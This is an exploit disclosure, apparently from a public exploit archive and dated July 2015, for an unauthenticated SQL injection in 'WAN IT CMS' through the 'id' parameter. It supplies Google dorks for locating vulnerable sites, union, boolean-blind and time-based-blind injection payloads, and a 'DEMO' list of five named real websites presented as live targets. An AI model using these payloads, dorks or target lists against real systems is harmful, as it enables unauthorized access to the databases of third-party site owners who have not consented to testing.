==========================================================
[+] Title :- WAN IT CMS - SQL Injection Vulnerability
[+] Date :- 23 - July - 2015
[+] Vendor Homepage :- http://www.wanitltd.com/
[+] Version :- All Versions
[+] Tested on :- Nginx/1.4.5, PHP/5.2.17, Linux - Windows
[+] Category :- webapps
[+] Google Dorks :- "Design & Developed by WAN IT LTD"
"Design & Developed by WAN IT LTD" +inurl:/.php?id=
[+] Exploit Author :- Shelesh Rauthan (ShOrTy420 aKa SEB@sTiaN)
[+] Team name :- Team Alastor Breeze, Intelligent-Exploit
[+] Official Website :- serverfarming.com, intelligentexploit.com
[+] The official Members :- Sh0rTy420, P@rL0u$, !nfIn!Ty, Th3G0v3Rn3R, m777k
[+] Greedz to :- @@lu, Lalit, MyLappy<3, Diksha, DK
[+] Contact :- fb.com/shelesh.rauthan, [email protected], [email protected]
=========================================================
[+] Severity Level :- High
[+] Request Method(s) :- GET / POST
[+] Vulnerable Parameter(s) :- id
[+] Affected Area(s) :- Entire admin, database, Server
[+] About :- Unauthenticated SQL Injection via Multiple Php Files causing an SQL error
[+] SQL vulnerable File :- /home/DOMAIN/public_html/XXX.php
[+] POC :- http://127.0.0.1/XXX.php?id=[SQL]'
The sql Injection web vulnerability can be be exploited by remote attackers without any privilege of web-application user account or user interaction.
http://www.[WEBSITE].com/product.php?id=7' order by [SQL IN4JECTION]–+
http://www.[WEBSITE].com/product.php?id=7' union all select [SQL INJECTION]–+
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=7' AND 5490=5490 AND 'dEBX'='dEBX
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: id=7' AND (SELECT * FROM (SELECT(SLEEP(5)))Knfn) AND 'keXt'='keXt
[+] DEMO :- http://jimsbd.com/product.php?id=7'
http://www.rahimafood.com/news_d.php?id=5'
http://digitech-bd.com/pro_physiotherapy_sub.php?id=10'
http://www.saintmartinholidays.com/package.php?id=1'
http://www.xoom-auto.com/products_details.php?id=66'
=======================================================